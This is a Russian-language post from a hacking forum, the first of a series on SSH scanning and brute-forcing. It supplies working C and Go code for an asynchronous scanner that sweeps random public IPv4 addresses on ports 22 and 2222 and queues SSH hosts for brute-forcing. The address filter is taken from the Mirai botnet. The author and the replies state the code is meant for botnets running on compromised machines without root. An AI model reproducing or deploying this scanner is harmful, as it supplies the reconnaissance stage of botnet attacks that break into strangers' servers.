• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Сканнинг и брутфорсить SSH. #1

magic

HDD-drive
Пользователь
Регистрация
24.01.2023
Сообщения
22
Реакции
24
Пришла мысль поделиться своим опытом в сканнинге и брутфорсе по SSH. В сети дофига ботнетов, которые успешно брутят, а статей мало. Пора бы это исправить.
В первой статье обьясню сканнер на C, а потом на Go.
Но все внимание будет на C, так как там сложнее всего.
Все исходники есть на pastebin :
C:
/* Это дело дело у нас из mirai, превращает 4 числа, описывающие IP в один uint32_t */
#define INET_ADDR(o1, o2, o3, o4) (htonl((o1 << 24) | (o2 << 16) | (o3 << 8) | (o4 << 0)))

#define SIZE_PORTS 2          //КОЛ-ВО портов для сканнинга.
#define BUFFER_SIZE 4096   
#define TIMEOUT_SCAN 20

struct cock
{
    /* Сие чудо описывает подключение для сканнера */
    int fd, iport, status; 
    struct sockaddr_in addr;
    time_t timec;
};
enum myconnections
{
    mCreated = 0,
    mConnecting = 1,
    mGrabingBanner = 2
};
int SIZE_QUEUE = 16384;                  //КОЛ-ВО сокетов для сканнера
uint16_t PORTS[SIZE_PORTS] = {22, 2222}; //ПОРТЫ для сканнера
struct cock* scs;

cock.fd - сокет,
cock.iport - индекс в активного порта в PORTS, cock.timec - для timeoutа
C:
void ext(const char *err) //DEBUG : delete this shiit
{
    printf("FATAL: %s\n", err);
    exit(0);
}
uint32_t rip_me()      //удобный код из mirai
{
    uint32_t tmp;
    uint8_t o1, o2, o3, o4;
    do
    {
        tmp = rand();
        o1 = tmp & 0xff;
        o2 = (tmp >> 8) & 0xff;       
        o3 = (tmp >> 16) & 0xff;
        o4 = (tmp >> 24) & 0xff;
    } while (o1 == 127 ||                               // 127.0.0.0/8      - Loopback
             (o1 == 0) ||                               // 0.0.0.0/8        - Invalid address space
             (o1 == 3) ||                               // 3.0.0.0/8        - General Electric Company
             (o1 == 15 || o1 == 16) ||                  // 15.0.0.0/7       - Hewlett-Packard Company
             (o1 == 56) ||                              // 56.0.0.0/8       - US Postal Service
             (o1 == 10) ||                              // 10.0.0.0/8       - Internal network
             (o1 == 192 && o2 == 168) ||                // 192.168.0.0/16   - Internal network
             (o1 == 172 && o2 >= 16 && o2 < 32) ||     // 172.16.0.0/14    - Internal network
             (o1 == 100 && o2 >= 64 && o2 < 127) ||    // 100.64.0.0/10    - IANA NAT reserved
             (o1 == 169 && o2 > 254) ||                // 169.254.0.0/16   - IANA NAT reserved
             (o1 == 198 && o2 >= 18 && o2 < 20) ||    // 198.18.0.0/15    - IANA Special use
             (o1 >= 224) ||                           // 224.*.*.*+       - Multicast
             (o1 == 6 || o1 == 7 || o1 == 11 || o1 == 21 || o1 == 22
             || o1 == 26 || o1 == 28 || o1 == 29 || o1 == 30 || o1 == 33 || o1 == 49
             || o1 == 50 || o1 == 55 || o1 == 214 || o1 == 215) // Department of Defense
    );
    return INET_ADDR(o1, o2, o3, o4);
}
rip_me() дает рандомный ipv4 адрес. Взял из mirai, удобно брать рандомный ip из сети и сканить, особенно для ботнетов
C:
//Инициализирует cock новым IP
void cock_init(uint32_t ip, struct cock *dt)
{
    if ((dt->fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
      ext("socket");
    fcntl(dt->fd, F_SETFL, O_NONBLOCK | fcntl(dt->fd, F_GETFL, 0)); // non-blocking режим
    dt->iport = 0;                                                  // Ставим порт в PORTS[0]
    dt->addr.sin_addr.s_addr = ip;
    dt->addr.sin_port = PORTS[0];
    dt->addr.sin_family = AF_INET;
    bzero(dt->addr.sin_zero, 8);
    dt->status = mCreated;
}
// Меняет порт cock на следующий
void recycle(struct cock *dt)
{
    if (++dt->iport >= SIZE_PORTS)
      return cock_init(rip_me(), dt);
    dt->addr.sin_port = PORTS[dt->iport];        // Новый порт для сканнинга
    if ((dt->fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
      ext("socket");
    fcntl(dt->fd, F_SETFL, O_NONBLOCK | fcntl(dt->fd, F_GETFL, 0)); // non-blocking режим
    dt->status = mCreated;
}
void scan_init()
{
    expandLimitFD();
    for (int i = 0; i < SIZE_PORTS; i++)
        PORTS[i] = htons(PORTS[i]);                                // Переводим расположение байтов в сетевой заранее
    scs = (struct cock *)malloc(sizeof(struct cock) * SIZE_QUEUE);
    for (int ind = 0; ind < SIZE_QUEUE; ind++)
        cock_init(rip_me(), scs + ind);                          //
}
void addToQUEUE(struct sockaddr_in*addr){
    //Добавляем в очередь для брутфорса например SSH
    //Во второй статье накалякую
}

//По умолчанию некоторые системы имеют лимит на создание большого кол-во сокетов, поэтому будет мануально расширим их)
void expandLimitFD()
{
    struct rlimit rl;
    getrlimit(RLIMIT_NOFILE, &rl);

    rlim_t myLimit =SIZE_QUEUE + 128; // + SIZE_QUEUE_SSH
    if (rl.rlim_cur >= myLimit)
        return;
    rl.rlim_cur = myLimit;
    if (rl.rlim_max <= myLimit)
    {
        rl.rlim_max = rl.rlim_cur + 5;
        if (setrlimit(RLIMIT_NOFILE, &rl) < 0)
            ext("COULDn't expand FD.\n Make my code BETTER!!!\n");
    }
    else
        setrlimit(RLIMIT_NOFILE, &rl);
}

Это все вспомогательный код, а теперь само ядро сканнера. Он кстати асинхронный, кто не шарит, это когда делаешь все соединения non-blocking.
Я решил не использовать select или poll, хотя так было бы лучше. Например некоторые системы при статической компиляции будут выдавать что-то странное иногда
C:
void *scan_loop(void *Pargs)
{
    int cnr, err = 0;
    struct cock *dt;
    buffer = (char *)malloc(BUFFER_SIZE + 1);
    const char *hi = "pm\0";
    for (int x = 0;; x++){
        if (x >= SIZE_QUEUE){
            x = 0;
        }


        usleep(10);
        dt = &(scs[x]);

        if (dt->status != mGrabingBanner)
            cnr = connect(dt->fd, (struct sockaddr *)&(dt->addr), sizeof(struct sockaddr_in));
        if(dt->status == mCreated){
            dt->status = mConnecting;
            dt->timec = time(NULL);
        }else if(dt->status == mConnecting){
            err = errno;
            if ((cnr == -1 && err == EISCONN) || cnr == 0)//CONNECTED!!
            {
                write(dt->fd, hi, 3);
                dt->timec = time(NULL);
                dt->status = mGrabingBanner;
            }
            else if(time(NULL) - dt->timec >= TIMEOUT_SCAN)
                goto new_ip;
            else if(cnr == -1 && err == 0)
                continue;
            else if (err == ECONNREFUSED || (cnr == -1 && err != EINPROGRESS && err != EALREADY) ) // Ошибка подключения
                goto new_ip;
        }else if(dt->status == mGrabingBanner){
            err = read(dt->fd, buffer, BUFFER_SIZE);
            if (err > 0)
            {
                buffer[err] = '\0';
                if (strstr(buffer, "SSH") != NULL) // нашли ssh
                    addToQUEUE(&(dt->addr));
                goto new_ip;
            }
            else if (time(NULL) - dt->timec >= TIMEOUT_SCAN)
                goto new_ip;
        }
        continue;
    new_ip:
        close(dt->fd);
        recycle(dt);
    }
    return NULL;
}
Код простой и в этом его плюс. Если хотите улучшить, наверняка юзайте лучше в scan_loop что нибудь вроде poll, а не мой велосипед.
А теперь код на Golang. Он еще проще
C:
func checkSSH(target string, conn net.Conn) {
  conn.Write([]byte("pm"))
  bytebuf := make([]byte, 2048)
  l, err := conn.Read(bytebuf)
  if err != nil || l <= 0 {
    return
  }
  if strings.Contains(string(bytebuf), "SSH"){
    //Нашли
  }
}

func getRIP() string {

    for {

        var o1, o2, o3, o4 int

        o1 = rand.Intn(255)

        if o1 == 127 || o1 == 0 || o1 == 15 || o1 == 56 || o1 == 16 || o1 == 10 || o1 >= 224 || o1 == 6 || o1 == 7 || o1 == 11 || o1 == 21 || o1 == 22 || o1 == 26 || o1 == 28 || o1 == 29 || o1 == 30 || o1 == 33 || o1 == 49 || o1 == 50 || o1 == 55 || o1 == 214 || o1 == 215 {

            continue

        }

        o2 = rand.Intn(255)

        o3 = rand.Intn(255)

        o4 = rand.Intn(255)

        if (o1 == 192 && o2 == 168) || (o1 == 172 && o2 >= 16 && o2 < 32) || (o1 == 100 && o2 >= 64 && o2 < 127) || (o1 == 169 && o2 > 254) || (o1 == 198 && o2 >= 18 && o2 < 20) {

            continue

        }

        return strconv.Itoa(o1) + "." + strconv.Itoa(o2) + "." + strconv.Itoa(o3) + "." + strconv.Itoa(o4)

    }

}

func checkPorts(ports []string, ip string, isCanceled chan int) {

    rand.Seed(time.Now().UnixNano())

    var prt, target string

    for i := 0; i < len(ports); i += 1 {

        prt = ports[i]

        target = ip + ":" + prt

        conn, err := net.DialTimeout("tcp", ip+":"+prt, time.Second*10)

        if err != nil {

            continue

        }

        checkSSH(target, conn)

        conn.Close()


    }

    isCanceled <- 1

}

func myScanner(ports []string) {

    workers := make([]chan int, 16384)

    for w := range workers {

        workers[w] = make(chan int)

        go checkPorts(ports, getRIP(), workers[w])

    }

    for {

        for w := 0; w < len(workers); w += 1 {

            select {

            case state := <-workers[w]:

                go checkPorts(ports, getRIP(), workers[w])

                _ = state

            default:

            }

            time.Sleep(time.Millisecond * 10)

        }

    }

}

func main() {

    myScanner([]string{"22", "2222"})

}
Обожаю Golang за его горутины. Чорт, да это главная фича go. И код меньше получается, и легче компилировать под разные процессоры.
В следующей статье покажу и обьясню брутфорсер SSH.
 
почему не масскан?
Это пример кода для ботнета например. Masscan юзает root права для создания своих пакетов, либо без рут прав(тогда там механизм похожий на код, который я написал)
Вот кстати вторая статья https://xss.pro/threads/81139/ из этого цикла, если кому интересно
 
Это пример кода для ботнета например. Masscan юзает root права для создания своих пакетов, либо без рут прав(тогда там механизм похожий на код, который я написал)
Вот кстати вторая статья https://xss.pro/threads/81139/ из этого цикла, если кому интересно
Таким сканом только ботов убивать. Теже nmap, masscan шлют SYN запросы.
 
Таким сканом только ботов убивать. Теже nmap, masscan шлют SYN запросы.
Для создания SYN запросов нужны root права, как я писал) RAW_SOCKET. Поэтому для безрутов делаем полный handshake и это не убивает ботов
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх